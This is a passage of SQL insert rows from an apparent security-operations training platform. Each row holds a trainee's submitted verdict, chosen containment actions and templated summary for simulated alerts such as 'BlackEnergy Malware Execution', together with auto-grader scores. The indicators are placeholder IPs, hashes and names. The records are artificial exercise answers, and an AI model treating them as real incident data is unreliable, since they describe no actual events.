(300, 177, 366, 'investigating', NULL, NULL, '{\"playbook_version\":2,\"checkedArtifacts\":[\"artifact_2\",\"artifact_4\"],\"selectedActions\":[\"isolate_host\",\"block_ip\",\"reset_credentials\",\"block_hash\",\"collect_forensics\",\"escalate\"],\"verdict\":\"true_positive\",\"conclusion\":\"INVESTIGATION EXECUTIVE SUMMARY\\n===============================\\nDATE: 2/22/2026, 4:07:44 PM\\nALERT: Creation of Hidden Scheduled Task [OP: Operation Soft Cell]\\nVERDICT: TRUE POSITIVE\\n\\nKEY FINDINGS (2)\\n----------------\\n- [IP] 203.0.113.54\\n- [HASH] e99a18c428cb38d5f260853678922e03\\n\\nCONTAINMENT PROTOCOLS DEPLOYED (6)\\n------------------------------\\n- Isolate Host\\n- Block IP/Domain\\n- Block File Hash\\n- Reset Credentials\\n- Collect Forensics\\n- Escalate to Tier 3\\n\\nANALYSIS\\n--------\\nInvestigation concluded based on verified telemetry and playbook protocols. All identified threats have been neutralized or escalated as per standard operating procedure.\\n\\nSIGNED: Analyst (Auto-Generated)\",\"submitted_at\":\"2026-02-22T10:38:21.142Z\"}', '{\"verdict_correctness\":\"Correct\",\"key_findings\":\"Verdict is correct (+40). All critical artifacts identified (+30). Response actions correct (+30)\",\"missed_items\":[],\"strengths\":\"Solid analysis\"}', NULL, '2026-02-22 10:36:28', '2026-02-28 21:00:00', 0, NULL),
(301, 177, 367, 'investigating', NULL, NULL, '{\"playbook_version\":2,\"checkedArtifacts\":[\"ip-198.51.100.23\",\"ip-192.168.1.10\",\"hash-d41d8cd9\",\"artifact_3\",\"artifact_5\"],\"selectedActions\":[\"isolate_host\",\"block_ip\",\"reset_credentials\",\"block_hash\",\"collect_forensics\",\"escalate\"],\"verdict\":\"true_positive\",\"conclusion\":\"INVESTIGATION EXECUTIVE SUMMARY\\n===============================\\nDATE: 2/22/2026, 4:11:28 PM\\nALERT: Unauthorized Access to Network Map [OP: Operation Soft Cell]\\nVERDICT: TRUE POSITIVE\\n\\nKEY FINDINGS (5)\\n----------------\\n- [IP] 198.51.100.23\\n- [IP] 192.168.1.10\\n- [HASH] d41d8cd98f00b204e9800998ecf8427e\\n- [FILENAME] network_scan_tool.exe\\n- [USERNAME] jdoe\\n\\nCONTAINMENT PROTOCOLS DEPLOYED (6)\\n------------------------------\\n- Isolate Host\\n- Block IP/Domain\\n- Block File Hash\\n- Reset Credentials\\n- Collect Forensics\\n- Escalate to Tier 3\\n\\nANALYSIS\\n--------\\nInvestigation concluded based on verified telemetry and playbook protocols. All identified threats have been neutralized or escalated as per standard operating procedure.\\n\\nSIGNED: Analyst (Auto-Generated)\",\"submitted_at\":\"2026-02-22T10:42:05.692Z\"}', '{\"verdict_correctness\":\"Correct\",\"key_findings\":\"Verdict is correct (+40). All critical artifacts identified (+30). Response actions correct (+30)\",\"missed_items\":[],\"strengths\":\"Solid analysis\"}', NULL, '2026-02-22 10:38:21', '2026-02-28 21:00:00', 0, NULL),
(302, 177, 368, 'investigating', NULL, NULL, '{\"playbook_version\":2,\"checkedArtifacts\":[\"ip-192.168.15.23\",\"ip-203.0.113.45\",\"artifact_3\",\"artifact_4\",\"artifact_5\"],\"selectedActions\":[\"block_ip\",\"isolate_host\",\"block_hash\",\"reset_credentials\",\"collect_forensics\",\"escalate\"],\"verdict\":\"true_positive\",\"conclusion\":\"INVESTIGATION EXECUTIVE SUMMARY\\n===============================\\nDATE: 2/22/2026, 4:14:11 PM\\nALERT: Exfiltration of Call Detail Records Detected [OP: Operation Soft Cell]\\nVERDICT: TRUE POSITIVE\\n\\nKEY FINDINGS (5)\\n----------------\\n- [IP] 192.168.15.23\\n- [IP] 203.0.113.45\\n- [HASH] 5f4dcc3b5aa765d61d8327deb882cf99\\n- [FILENAME] target_CDR_records.zip\\n- [USERNAME] compromised_user\\n\\nCONTAINMENT PROTOCOLS DEPLOYED (6)\\n------------------------------\\n- Isolate Host\\n- Block IP/Domain\\n- Block File Hash\\n- Reset Credentials\\n- Collect Forensics\\n- Escalate to Tier 3\\n\\nANALYSIS\\n--------\\nInvestigation concluded based on verified telemetry and playbook protocols. All identified threats have been neutralized or escalated as per standard operating procedure.\\n\\nSIGNED: Analyst (Auto-Generated)\",\"submitted_at\":\"2026-02-22T10:44:48.507Z\"}', '{\"verdict_correctness\":\"Correct\",\"key_findings\":\"Verdict is correct (+40). All critical artifacts identified (+30). Response actions correct (+30)\",\"missed_items\":[],\"strengths\":\"Solid analysis\"}', NULL, '2026-02-22 10:42:05', '2026-02-28 21:00:00', 0, NULL),
(303, 177, 269, 'investigating', NULL, NULL, '{\"playbook_version\":2,\"checkedArtifacts\":[\"ip-192.168.1.45\",\"ip-203.0.113.50\",\"hash-d41d8cd9\",\"artifact_4\",\"artifact_5\"],\"selectedActions\":[\"isolate_host\",\"block_ip\",\"block_hash\",\"collect_forensics\",\"escalate\",\"reset_credentials\"],\"verdict\":\"true_positive\",\"conclusion\":\"INVESTIGATION EXECUTIVE SUMMARY\\n===============================\\nDATE: 2/22/2026, 4:28:14 PM\\nALERT: BlackEnergy Malware Execution [OP: Operation Iron Grid]\\nVERDICT: TRUE POSITIVE\\n\\nKEY FINDINGS (5)\\n----------------\\n- [IP] 192.168.1.45\\n- [IP] 203.0.113.50\\n- [HASH] d41d8cd98f00b204e9800998ecf8427e\\n- [FILENAME] invoice.doc\\n- [USERNAME] jdoe\\n\\nCONTAINMENT PROTOCOLS DEPLOYED (6)\\n------------------------------\\n- Isolate Host\\n- Block IP/Domain\\n- Block File Hash\\n- Reset Credentials\\n- Collect Forensics\\n- Escalate to Tier 3\\n\\nANALYSIS\\n--------\\nInvestigation concluded based on verified telemetry and playbook protocols. All identified threats have been neutralized or escalated as per standard operating procedure.\\n\\nSIGNED: Analyst (Auto-Generated)\",\"submitted_at\":\"2026-02-22T10:58:51.044Z\"}', '{\"verdict_correctness\":\"Correct\",\"key_findings\":\"Verdict is correct (+40). All critical artifacts identified (+30). Response actions correct (+30)\",\"missed_items\":[],\"strengths\":\"Solid analysis\"}', NULL, '2026-02-22 10:56:28', '2026-02-28 21:00:00', 0, NULL),
(304, 177, 270, 'investigating', NULL, NULL, '{\"playbook_version\":2,\"checkedArtifacts\":[\"ip-203.0.113.45\",\"hash-3fa85f64\",\"artifact_1\",\"artifact_4\",\"artifact_5\"],\"selectedActions\":[\"isolate_host\",\"block_ip\",\"block_hash\",\"collect_forensics\",\"escalate\",\"reset_credentials\"],\"verdict\":\"true_positive\",\"conclusion\":\"INVESTIGATION EXECUTIVE SUMMARY\\n===============================\\nDATE: 2/22/2026, 4:30:36 PM\\nALERT: Persistence Mechanism Established [OP: Operation Iron Grid]\\nVERDICT: TRUE POSITIVE\\n\\nKEY FINDINGS (5)\\n----------------\\n- [IP] 203.0.113.45\\n- [HASH] 3fa85f64-5717-4562-b3fc-2c963f66afa6\\n- [IP] 10.0.1.15\\n- [FILENAME] C:\\\\Users\\\\compromised_user\\\\AppData\\\\Local\\\\Temp\\\\malicious.exe\\n- [USERNAME] compromised_user\\n\\nCONTAINMENT PROTOCOLS DEPLOYED (6)\\n------------------------------\\n- Isolate Host\\n- Block IP/Domain\\n- Block File Hash\\n- Reset Credentials\\n- Collect Forensics\\n- Escalate to Tier 3\\n\\nANALYSIS\\n--------\\nInvestigation concluded based on verified telemetry and playbook protocols. All identified threats have been neutralized or escalated as per standard operating procedure.\\n\\nSIGNED: Analyst (Auto-Generated)\",\"submitted_at\":\"2026-02-22T11:01:15.318Z\"}', '{\"verdict_correctness\":\"Correct\",\"key_findings\":\"Verdict is correct (+40). All critical artifacts identified (+30). Response actions correct (+30)\",\"missed_items\":[],\"strengths\":\"Solid analysis\"}', NULL, '2026-02-22 10:58:51', '2026-02-28 21:00:00', 0, NULL),
(305, 177, 271, 'investigating', NULL, NULL, '{\"playbook_version\":2,\"checkedArtifacts\":[\"ip-192.168.1.101\",\"ip-10.0.0.5\",\"hash-5f4dcc3b\",\"artifact_3\",\"artifact_5\"],\"selectedActions\":[\"block_ip\",\"reset_credentials\",\"escalate\",\"collect_forensics\"],\"verdict\":\"true_positive\",\"conclusion\":\"INVESTIGATION EXECUTIVE SUMMARY\\n===============================\\nDATE: 2/22/2026, 4:34:49 PM\\nALERT: Lateral Movement to OT Network [OP: Operation Iron Grid]\\nVERDICT: TRUE POSITIVE\\n\\nKEY FINDINGS (5)\\n----------------\\n- [IP] 192.168.1.101\\n- [IP] 10.0.0.5\\n- [HASH] 5f4dcc3b5aa765d61d8327deb882cf99\\n- [USERNAME] jdoe\\n- [IP] 203.0.113.55\\n\\nCONTAINMENT PROTOCOLS DEPLOYED (4)\\n------------------------------\\n- Block IP/Domain\\n- Reset Credentials\\n- Collect Forensics\\n- Escalate to Tier 3\\n\\nANALYSIS\\n--------\\nInvestigation concluded based on verified telemetry and playbook protocols. All identified threats have been neutralized or escalated as per standard operating procedure.\\n\\nSIGNED: Analyst (Auto-Generated)\",\"submitted_at\":\"2026-02-22T11:05:26.381Z\"}', '{\"verdict_correctness\":\"Correct\",\"key_findings\":\"Verdict is correct (+40). All critical artifacts identified (+30). Missed response actions (3/4)\",\"missed_items\":[\"isolate_host\"],\"strengths\":\"Solid analysis\"}', NULL, '2026-02-22 11:01:15', '2026-02-28 21:00:00', 0, NULL),
(306, 177, 272, 'investigating', NULL, NULL, '{\"playbook_version\":2,\"checkedArtifacts\":[\"ip-192.168.1.105\",\"ip-10.0.0.20\",\"hash-5d41402a\",\"artifact_2\",\"artifact_4\",\"artifact_5\"],\"selectedActions\":[\"isolate_host\",\"block_ip\",\"reset_credentials\",\"escalate\",\"block_hash\",\"collect_forensics\"],\"verdict\":\"true_positive\",\"conclusion\":\"INVESTIGATION EXECUTIVE SUMMARY\\n===============================\\nDATE: 2/22/2026, 4:37:57 PM\\nALERT: SCADA System Compromise [OP: Operation Iron Grid]\\nVERDICT: TRUE POSITIVE\\n\\nKEY FINDINGS (6)\\n----------------\\n- [IP] 192.168.1.105\\n- [IP] 10.0.0.20\\n- [HASH] 5d41402abc4b2a76b9719d911017c592\\n- [IP] 203.0.113.45\\n- [FILENAME] malicious_script.sh\\n- [USERNAME] unauthorized_user\\n\\nCONTAINMENT PROTOCOLS DEPLOYED (6)\\n------------------------------\\n- Isolate Host\\n- Block IP/Domain\\n- Block File Hash\\n- Reset Credentials\\n- Collect Forensics\\n- Escalate to Tier 3\\n\\nANALYSIS\\n--------\\nInvestigation concluded based on verified telemetry and playbook protocols. All identified threats have been neutralized or escalated as per standard operating procedure.\\n\\nSIGNED: Analyst (Auto-Generated)\",\"submitted_at\":\"2026-02-22T11:08:36.065Z\"}', '{\"verdict_correctness\":\"Correct\",\"key_findings\":\"Verdict is correct (+40). All critical artifacts identified (+30). Response actions correct (+30)\",\"missed_items\":[],\"strengths\":\"Solid analysis\"}', NULL, '2026-02-22 11:05:26', '2026-02-28 21:00:00', 0, NULL),
(307, 177, 274, 'investigating', NULL, NULL, NULL, NULL, NULL, '2026-02-22 11:08:55', '2026-02-22 11:08:55', 0, NULL),
(308, 189, 279, 'investigating', NULL, NULL, '{\"playbook_version\":2,\"checkedArtifacts\":[\"ip-192.168.1.15\",\"ip-203.0.113.45\",\"hash-b1946ac9\",\"artifact_3\",\"artifact_4\"],\"selectedActions\":[\"isolate_host\",\"block_hash\",\"block_ip\",\"reset_credentials\",\"collect_forensics\",\"escalate\"],\"verdict\":\"true_positive\",\"conclusion\":\"INVESTIGATION EXECUTIVE SUMMARY\\n===============================\\nDATE: 2/23/2026, 2:48:58 AM\\nALERT: Execution of Malicious Code [OP: Operation Glass Serpent]\\nVERDICT: TRUE POSITIVE\\n\\nKEY FINDINGS (5)\\n----------------\\n- [IP] 192.168.1.15\\n- [IP] 203.0.113.45\\n- [HASH] b1946ac92492d2347c6235b4d2611184\\n- [FILENAME] malicious.dll\\n- [USERNAME] jdoe\\n\\nCONTAINMENT PROTOCOLS DEPLOYED (6)\\n------------------------------\\n- Isolate Host\\n- Block IP/Domain\\n- Block File Hash\\n- Reset Credentials\\n- Collect Forensics\\n- Escalate to Tier 3\\n\\nANALYSIS\\n--------\\nInvestigation concluded based on verified telemetry and playbook protocols. All identified threats have been neutralized or escalated as per standard operating procedure.\\n\\nSIGNED: Amadou MANE\",\"submitted_at\":\"2026-02-23T01:49:31.601Z\"}', '{\"verdict_correctness\":\"Correct\",\"key_findings\":\"Verdict is correct (+40). All critical artifacts identified (+30). Response actions correct (+30)\",\"missed_items\":[],\"strengths\":\"Solid analysis\"}', NULL, '2026-02-23 01:32:39', '2026-02-28 21:00:00', 0, NULL),
(309, 189, 280, 'investigating', NULL, NULL, '{\"playbook_version\":2,\"checkedArtifacts\":[\"ip-203.0.113.45\",\"ip-192.168.1.10\",\"hash-abc123de\",\"artifact_5\"],\"selectedActions\":[\"isolate_host\",\"block_hash\",\"block_ip\",\"reset_credentials\",\"collect_forensics\",\"escalate\"],\"verdict\":\"true_positive\",\"conclusion\":\"INVESTIGATION EXECUTIVE SUMMARY\\n===============================\\nDATE: 2/23/2026, 3:02:11 AM\\nALERT: Establish Persistence [OP: Operation Glass Serpent]\\nVERDICT: TRUE POSITIVE\\n\\nKEY FINDINGS (4)\\n----------------\\n- [IP] 203.0.113.45\\n- [IP] 192.168.1.10\\n- [HASH] abc123def4567890abc123def4567890\\n- [USERNAME] admin_user\\n\\nCONTAINMENT PROTOCOLS DEPLOYED (6)\\n------------------------------\\n- Isolate Host\\n- Block IP/Domain\\n- Block File Hash\\n- Reset Credentials\\n- Collect Forensics\\n- Escalate to Tier 3\\n\\nANALYSIS\\n--------\\nInvestigation concluded based on verified telemetry and playbook protocols. All identified threats have been neutralized or escalated as per standard operating procedure.\\n\\nSIGNED: Amadou Mane\",\"submitted_at\":\"2026-02-23T02:02:24.889Z\"}', '{\"verdict_correctness\":\"Correct\",\"key_findings\":\"Verdict is correct (+40). All critical artifacts identified (+30). Response actions correct (+30)\",\"missed_items\":[],\"strengths\":\"Solid analysis\"}', NULL, '2026-02-23 01:49:31', '2026-02-28 21:00:00', 0, NULL),
(310, 189, 281, 'investigating', NULL, NULL, '{\"playbook_version\":2,\"checkedArtifacts\":[\"ip-192.168.1.105\",\"ip-10.0.0.55\",\"ip-203.0.113.45\",\"hash-e99a18c4\",\"artifact_4\",\"artifact_6\"],\"selectedActions\":[\"isolate_host\",\"block_ip\",\"reset_credentials\",\"collect_forensics\",\"escalate\"],\"verdict\":\"true_positive\",\"conclusion\":\"INVESTIGATION EXECUTIVE SUMMARY\\n===============================\\nDATE: 2/23/2026, 3:15:04 AM\\nALERT: Lateral Movement and Data Exfiltration [OP: Operation Glass Serpent]\\nVERDICT: TRUE POSITIVE\\n\\nKEY FINDINGS (6)\\n----------------\\n- [IP] 192.168.1.105\\n- [IP] 10.0.0.55\\n- [IP] 203.0.113.45\\n- [HASH] e99a18c428cb38d5f260853678922e03\\n- [FILENAME] confidential_data.xlsx\\n- [USERNAME] jdoe\\n\\nCONTAINMENT PROTOCOLS DEPLOYED (5)\\n------------------------------\\n- Isolate Host\\n- Block IP/Domain\\n- Reset Credentials\\n- Collect Forensics\\n- Escalate to Tier 3\\n\\nANALYSIS\\n--------\\nInvestigation concluded based on verified telemetry and playbook protocols. All identified threats have been neutralized or escalated as per standard operating procedure.\\n\\nSIGNED: Amadou MANE\",\"submitted_at\":\"2026-02-23T02:15:23.319Z\"}', '{\"verdict_correctness\":\"Correct\",\"key_findings\":\"Verdict is correct (+40). All critical artifacts identified (+30). Response actions correct (+30)\",\"missed_items\":[],\"strengths\":\"Solid analysis\"}', NULL, '2026-02-23 02:02:24', '2026-02-28 21:00:00', 0, NULL),
(311, 189, 285, 'investigating', NULL, NULL, '{\"playbook_version\":2,\"checkedArtifacts\":[\"ip-185.92.220.34\",\"ip-10.0.2.15\",\"artifact_2\",\"artifact_3\",\"artifact_4\"],\"selectedActions\":[\"isolate_host\",\"block_ip\",\"block_hash\",\"reset_credentials\",\"collect_forensics\",\"escalate\"],\"verdict\":\"true_positive\",\"conclusion\":\"INVESTIGATION EXECUTIVE SUMMARY\\n===============================\\nDATE: 2/23/2026, 3:35:15 AM\\nALERT: Spear-Phishing Email Campaign Detected [OP: Operation Phantom Ballot]\\nVERDICT: TRUE POSITIVE\\n\\nKEY FINDINGS (5)\\n----------------\\n- [IP] 185.92.220.34\\n- [IP] 10.0.2.15\\n- [EMAIL] john.doe@fakeorg.com\\n- [HASH] e3b0c44298fc1c149afbf4c8996fb92427ae41e4649b934ca495991b7852b855\\n- [URL] http://malicious-link.com/login\\n\\nCONTAINMENT PROTOCOLS DEPLOYED (6)\\n------------------------------\\n- Isolate Host\\n- Block IP/Domain\\n- Block File Hash\\n- Reset Credentials\\n- Collect Forensics\\n- Escalate to Tier 3\\n\\nANALYSIS\\n--------\\nInvestigation concluded based on verified telemetry and playbook protocols. All identified threats have been neutralized or escalated as per standard operating procedure.\\n\\nSIGNED: AMADOU MANE\",\"submitted_at\":\"2026-02-23T02:35:28.208Z\"}', '{\"verdict_correctness\":\"Correct\",\"key_findings\":\"Verdict is correct (+40). All critical artifacts identified (+30). Response actions correct (+30)\",\"missed_items\":[],\"strengths\":\"Solid analysis\"}', NULL, '2026-02-23 02:15:42', '2026-02-28 21:00:00', 0, NULL),
(312, 189, 286, 'investigating', NULL, NULL, '{\"playbook_version\":2,\"checkedArtifacts\":[\"ip-10.14.22.5\",\"ip-203.0.113.45\",\"hash-d41d8cd9\",\"domain-http://login\",\"domain-login-secure\"],\"selectedActions\":[\"isolate_host\",\"block_ip\",\"collect_forensics\",\"reset_credentials\",\"escalate\"],\"verdict\":\"true_positive\",\"conclusion\":\"INVESTIGATION EXECUTIVE SUMMARY\\n===============================\\nDATE: 2/23/2026, 3:53:35 AM\\nALERT: Malicious Domain Infrastructure Identified [OP: Operation Phantom Ballot]\\nVERDICT: TRUE POSITIVE\\n\\nKEY FINDINGS (5)\\n----------------\\n- [IP] 10.14.22.5\\n- [IP] 203.0.113.45\\n- [HASH] d41d8cd98f00b204e9800998ecf8427e\\n- [DOMAIN] http://login-secure-portal.com/login\\n- [DOMAIN] login-secure-portal.com\\n\\nCONTAINMENT PROTOCOLS DEPLOYED (5)\\n------------------------------\\n- Isolate Host\\n- Block IP/Domain\\n- Reset Credentials\\n- Collect Forensics\\n- Escalate to Tier 3\\n\\nANALYSIS\\n--------\\nInvestigation concluded based on verified telemetry and playbook protocols. All identified threats have been neutralized or escalated as per standard operating procedure.\\n\\nSIGNED: Amadou mane\",\"submitted_at\":\"2026-02-23T02:53:57.960Z\"}', '{\"verdict_correctness\":\"Correct\",\"key_findings\":\"Verdict is correct (+40). All critical artifacts identified (+30). Response actions correct (+30)\",\"missed_items\":[],\"strengths\":\"Solid analysis\"}', NULL, '2026-02-23 02:35:28', '2026-02-28 21:00:00', 0, NULL),
(313, 189, 287, 'investigating', NULL, NULL, '{\"playbook_version\":2,\"checkedArtifacts\":[\"ip-203.0.113.45\",\"ip-10.0.0.25\",\"hash-e99a18c4\",\"artifact_2\"],\"selectedActions\":[\"block_ip\",\"isolate_host\",\"collect_forensics\",\"reset_credentials\",\"escalate\"],\"verdict\":\"true_positive\",\"conclusion\":\"INVESTIGATION EXECUTIVE SUMMARY\\n===============================\\nDATE: 2/23/2026, 4:08:23 AM\\nALERT: OAuth Token Abuse Technique Detected [OP: Operation Phantom Ballot]\\nVERDICT: TRUE POSITIVE\\n\\nKEY FINDINGS (4)\\n----------------\\n- [IP] 203.0.113.45\\n- [IP] 10.0.0.25\\n- [HASH] e99a18c428cb38d5f260853678922e03\\n- [USERNAME] j.doe@company.com\\n\\nCONTAINMENT PROTOCOLS DEPLOYED (5)\\n------------------------------\\n- Isolate Host\\n- Block IP/Domain\\n- Reset Credentials\\n- Collect Forensics\\n- Escalate to Tier 3\\n\\nANALYSIS\\n--------\\nInvestigation concluded based on verified telemetry and playbook protocols. All identified threats have been neutralized or escalated as per standard operating procedure.\\n\\nSIGNED: Amadou mane\",\"submitted_at\":\"2026-02-23T03:08:46.603Z\"}', '{\"verdict_correctness\":\"Correct\",\"key_findings\":\"Verdict is correct (+40). All critical artifacts identified (+30). Response actions correct (+30)\",\"missed_items\":[],\"strengths\":\"Solid analysis\"}', NULL, '2026-02-23 02:53:57', '2026-02-28 21:00:00', 0, NULL),
(314, 189, 288, 'investigating', NULL, NULL, '{\"playbook_version\":2,\"checkedArtifacts\":[\"ip-185.92.220.50\",\"ip-192.168.1.105\",\"artifact_3\",\"artifact_4\",\"artifact_5\"],\"selectedActions\":[\"block_hash\",\"reset_credentials\",\"block_ip\",\"isolate_host\",\"collect_forensics\",\"escalate\"],\"verdict\":\"true_positive\",\"conclusion\":\"INVESTIGATION EXECUTIVE SUMMARY\\n===============================\\nDATE: 2/23/2026, 4:12:20 AM\\nALERT: Disinformation Campaign Planning Uncovered [OP: Operation Phantom Ballot]\\nVERDICT: TRUE POSITIVE\\n\\nKEY FINDINGS (5)\\n----------------\\n- [IP] 185.92.220.50\\n- [IP] 192.168.1.105\\n- [HASH] 8a7f5e3c1d4f8e1b6c3d8f7a3e2d4c5b6a1f7e8d5c2b3a4d8e3f7c1b6d2a7f9e\\n- [FILENAME] election_strategy_2023.pdf\\n- [USERNAME] jdoe\\n\\nCONTAINMENT PROTOCOLS DEPLOYED (6)\\n------------------------------\\n- Isolate Host\\n- Block IP/Domain\\n- Block File Hash\\n- Reset Credentials\\n- Collect Forensics\\n- Escalate to Tier 3\\n\\nANALYSIS\\n--------\\nInvestigation concluded based on verified telemetry and playbook protocols. All identified threats have been neutralized or escalated as per standard operating procedure.\\n\\nSIGNED: Analyst (Auto-Generated)\",\"submitted_at\":\"2026-02-23T03:12:26.166Z\"}', '{\"verdict_correctness\":\"Correct\",\"key_findings\":\"Verdict is correct (+40). All critical artifacts identified (+30). Response actions correct (+30)\",\"missed_items\":[],\"strengths\":\"Solid analysis\"}', NULL, '2026-02-23 03:08:46', '2026-02-28 21:00:00', 0, NULL),
(315, 189, 289, 'investigating', NULL, NULL, '{\"playbook_version\":2,\"checkedArtifacts\":[\"ip-203.0.113.45\",\"ip-192.168.1.10\",\"artifact_1\",\"artifact_2\",\"artifact_4\",\"artifact_5\"],\"selectedActions\":[\"isolate_host\",\"block_ip\",\"block_hash\",\"reset_credentials\",\"collect_forensics\",\"escalate\"],\"verdict\":\"true_positive\",\"conclusion\":\"INVESTIGATION EXECUTIVE SUMMARY\\n===============================\\nDATE: 2/27/2026, 3:23:48 AM\\nALERT: Phishing Email Detected [OP: Operation Black Harvest]\\nVERDICT: TRUE POSITIVE\\n\\nKEY FINDINGS (6)\\n----------------\\n- [IP] 203.0.113.45\\n- [IP] 192.168.1.10\\n- [EMAIL] attacker@example.com\\n- [URL] http://malicious-link.com/download\\n- [HASH] e99a18c428cb38d5f260853678922e03\\n- [FILENAME] update-instructions.html\\n\\nCONTAINMENT PROTOCOLS DEPLOYED (6)\\n------------------------------\\n- Isolate Host\\n- Block IP/Domain\\n- Block File Hash\\n- Reset Credentials\\n- Collect Forensics\\n- Escalate to Tier 3\\n\\nANALYSIS\\n--------\\nInvestigation concluded based on verified telemetry and playbook protocols. All identified threats have been neutralized or escalated as per standard operating procedure.\\n\\nSIGNED:Amadou MANE\",\"submitted_at\":\"2026-02-27T02:24:38.682Z\"}', '{\"verdict_correctness\":\"Correct\",\"key_findings\":\"Verdict is correct (+40). All critical artifacts identified (+30). Response actions correct (+30)\",\"missed_items\":[],\"strengths\":\"Solid analysis\"}', NULL, '2026-02-23 03:12:43', '2026-02-28 21:00:00', 0, NULL),
(316, 198, 268, 'investigating', NULL, NULL, NULL, NULL, NULL, '2026-02-23 23:51:06', '2026-02-23 23:51:06', 0, NULL),
(317, 199, 268, 'investigating', NULL, NULL, NULL, NULL, NULL, '2026-02-23 23:52:05', '2026-02-23 23:52:05', 0, NULL),
(318, 140, 744, 'investigating', NULL, NULL, NULL, NULL, '2026-02-24 07:28:45', '2026-02-24 04:20:45', '2026-02-24 04:20:45', 0, NULL),
(319, 209, 268, 'investigating', NULL, NULL, NULL, NULL, NULL, '2026-02-25 11:04:36', '2026-02-25 11:04:36', 0, NULL),
(320, 174, 268, 'investigating', NULL, NULL, NULL, NULL, NULL, '2026-02-26 04:41:54', '2026-02-26 04:41:54', 0, NULL),
(321, 174, 842, 'investigating', NULL, NULL, NULL, NULL, '2026-02-26 07:59:28', '2026-02-26 04:49:28', '2026-02-26 04:49:28', 0, NULL),
(322, 109, 1305, 'investigating', NULL, NULL, NULL, NULL, '2026-02-26 17:09:46', '2026-02-26 14:03:46', '2026-02-26 14:03:46', 0, NULL),
(323, 213, 268, 'investigating', NULL, NULL, '{\"playbook_version\":2,\"checkedArtifacts\":[\"ip-192.168.1.100\",\"ip-10.0.0.15\",\"ip-203.0.113.45\",\"artifact_1\",\"artifact_3\"],\"selectedActions\":[\"block_ip\",\"escalate\",\"block_hash\"],\"verdict\":\"true_positive\",\"conclusion\":\"INVESTIGATION EXECUTIVE SUMMARY\\n===============================\\nDATE: 26/2/2026, 18:29:16\\nALERT: Phishing Email Detected [OP: Operation Iron Grid]\\nVERDICT: TRUE POSITIVE\\n\\nKEY FINDINGS (5)\\n----------------\\n- [IP] 192.168.1.100\\n- [IP] 10.0.0.15\\n- [IP] 203.0.113.45\\n- [EMAIL] abc123@example.com\\n- [HASH] 3a7bd3e2360f1edb0f3b4e5c7b6e9d5a\\n\\nCONTAINMENT PROTOCOLS DEPLOYED (3)\\n------------------------------\\n- Block IP/Domain\\n- Block File Hash\\n- Escalate to Tier 3\\n\\nANALYSIS\\n--------\\nInvestigation concluded based on verified telemetry and playbook protocols. All identified threats have been neutralized or escalated as per standard operating procedure.\\n\\nSIGNED: Analyst (Auto-Generated)\",\"submitted_at\":\"2026-02-26T21:29:19.540Z\"}', '{\"verdict_correctness\":\"Correct\",\"key_findings\":\"Verdict is correct (+40). All critical artifacts identified (+30). Missed response actions (3/4)\",\"missed_items\":[\"collect_forensics\"],\"strengths\":\"Solid analysis\"}', NULL, '2026-02-26 21:11:50', '2026-02-28 21:00:00', 0, NULL),
(324, 213, 1271, 'investigating', NULL, NULL, '{\"playbook_version\":2,\"checkedArtifacts\":[\"ip-192.168.8.50\",\"ip-192.168.8.51\"],\"selectedActions\":[\"close_alert\"],\"verdict\":\"false_positive\",\"conclusion\":\"INVESTIGATION EXECUTIVE SUMMARY\\n===============================\\nDATE: 26/2/2026, 18:24:40\\nALERT: False Positive: Routine Database Synchronization Detected\\nVERDICT: FALSE POSITIVE\\n\\nKEY FINDINGS (2)\\n----------------\\n- [IP] 192.168.8.50\\n- [IP] 192.168.8.51\\n\\nCONTAINMENT PROTOCOLS DEPLOYED (1)\\n------------------------------\\n- Close (No Action)\\n\\nANALYSIS\\n--------\\nInvestigation concluded based on verified telemetry and playbook protocols. All identified threats have been neutralized or escalated as per standard operating procedure.\\n\\nSIGNED: Analyst (Auto-Generated)\",\"submitted_at\":\"2026-02-26T21:24:47.726Z\"}', '{\"verdict_correctness\":\"Correct\",\"key_findings\":\"Verdict is correct (+40). Artifact analysis completed (+30). Response actions correct (+30)\",\"missed_items\":[],\"strengths\":\"Solid analysis\"}', NULL, '2026-02-26 21:19:30', '2026-02-28 21:00:00', 0, NULL),
(325, 213, 269, 'investigating', NULL, NULL, '{\"playbook_version\":2,\"checkedArtifacts\":[\"ip-192.168.1.45\",\"ip-203.0.113.50\",\"hash-d41d8cd9\",\"artifact_4\",\"artifact_5\"],\"selectedActions\":[\"isolate_host\",\"block_ip\",\"reset_credentials\",\"escalate\",\"block_hash\",\"collect_forensics\"],\"verdict\":\"true_positive\",\"conclusion\":\"INVESTIGATION EXECUTIVE SUMMARY\\n===============================\\nDATE: 26/2/2026, 18:30:49\\nALERT: BlackEnergy Malware Execution [OP: Operation Iron Grid]\\nVERDICT: TRUE POSITIVE\\n\\nKEY FINDINGS (5)\\n----------------\\n- [IP] 192.168.1.45\\n- [IP] 203.0.113.50\\n- [HASH] d41d8cd98f00b204e9800998ecf8427e\\n- [FILENAME] invoice.doc\\n- [USERNAME] jdoe\\n\\nCONTAINMENT PROTOCOLS DEPLOYED (6)\\n------------------------------\\n- Isolate Host\\n- Block IP/Domain\\n- Block File Hash\\n- Reset Credentials\\n- Collect Forensics\\n- Escalate to Tier 3\\n\\nANALYSIS\\n--------\\nInvestigation concluded based on verified telemetry and playbook protocols. All identified threats have been neutralized or escalated as per standard operating procedure.\\n\\nSIGNED: Analyst (Auto-Generated)\",\"submitted_at\":\"2026-02-26T21:30:51.247Z\"}', '{\"verdict_correctness\":\"Correct\",\"key_findings\":\"Verdict is correct (+40). All critical artifacts identified (+30). Response actions correct (+30)\",\"missed_items\":[],\"strengths\":\"Solid analysis\"}', NULL, '2026-02-26 21:29:19', '2026-02-28 21:00:00', 0, NULL),
